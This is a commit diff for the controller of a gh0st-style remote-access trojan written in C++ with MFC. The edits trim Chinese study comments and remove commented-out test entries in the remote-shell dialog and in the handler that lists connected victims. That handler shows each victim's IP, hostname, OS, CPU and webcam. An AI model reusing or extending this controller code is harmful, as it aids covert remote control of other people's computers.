This commit is contained in:
changcheng 2020-07-09 23:52:07 +08:00
parent dcd6dce57a
commit 1e498a27fe
5 changed files with 62 additions and 79 deletions

Binary file not shown.

View File

@ -170,10 +170,6 @@ void CShellDlg::AddKeyBoardData(void)
m_edit.ReplaceSel(strResult); m_edit.ReplaceSel(strResult);
//重新得到字符的大小 //重新得到字符的大小
m_nCurSel = m_edit.GetWindowTextLength(); m_nCurSel = m_edit.GetWindowTextLength();
//现在我们基本弄明白了 数据传输到主控端后的处理
//那主控端的数据时怎样传递到服务端上的呢??
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
} }
@ -197,8 +193,8 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
m_edit.GetWindowText(str); m_edit.GetWindowText(str);
//加入换行符 //加入换行符
str += "\r\n"; str += "\r\n";
//注意gh0st是怎样得到当前的数据的 得到整个的缓冲区再加上原有的字符的位置,其实就是用户当前输入的数据了 //gh0st得到当前的数据
//然后将数据发送出去。。。。。。。。。。。。。。。 整个分析就完毕了。。。。。。 //然后将数据发送出去
m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel); m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
m_nCurSel = m_edit.GetWindowTextLength(); m_nCurSel = m_edit.GetWindowTextLength();
} }

Binary file not shown.

Binary file not shown.

View File

@ -135,7 +135,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
case NC_CLIENT_CONNECT: case NC_CLIENT_CONNECT:
break; break;
case NC_CLIENT_DISCONNECT: case NC_CLIENT_DISCONNECT:
g_pCcRemoteDlg->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); g_pCcRemoteDlg->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); // 当服务端断开或出错响应
break; break;
case NC_TRANSMIT: case NC_TRANSMIT:
break; break;
@ -525,10 +525,6 @@ void CCcRemoteDlg::Test()
{ {
ShowMessage(true, "软件初始化成功..."); ShowMessage(true, "软件初始化成功...");
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
//AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321");
//AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456");
} }
@ -1025,19 +1021,14 @@ LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
LoginInfo->OsVerInfoEx.wServicePackMajor, LoginInfo->OsVerInfoEx.wServicePackMajor,
LoginInfo->OsVerInfoEx.dwBuildNumber LoginInfo->OsVerInfoEx.dwBuildNumber
); );
//m_pListCtrl->SetItemText(i, 4, strOS);
// CPU // CPU
strCPU.Format("%dMHz", LoginInfo->CPUClockMhz); strCPU.Format("%dMHz", LoginInfo->CPUClockMhz);
//m_pListCtrl->SetItemText(i, 5, str);
// Speed // Speed
strPing.Format("%d", LoginInfo->dwSpeed); strPing.Format("%d", LoginInfo->dwSpeed);
//m_pListCtrl->SetItemText(i, 6, str);
strVideo = LoginInfo->bIsWebCam ? "" : "--"; strVideo = LoginInfo->bIsWebCam ? "" : "--";
//m_pListCtrl->SetItemText(i, 7, str);
strToolTipsText.Format("New Connection Information:\nHost: %s\nIP : %s\nOS : Windows %s", LoginInfo->HostName, IPAddress, strOS); strToolTipsText.Format("New Connection Information:\nHost: %s\nIP : %s\nOS : Windows %s", LoginInfo->HostName, IPAddress, strOS);
@ -1046,11 +1037,7 @@ LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
strAddr = m_QQwry->IPtoAdd(IPAddress); strAddr = m_QQwry->IPtoAdd(IPAddress);
//strToolTipsText += "\nArea: ";
//strToolTipsText += str;
} }
// 指定唯一标识
//m_pListCtrl->SetItemData(i, (DWORD) pContext); //这里将服务端的套接字等信息加入列表中保存
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext); AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
} }
catch (...) {} catch (...) {}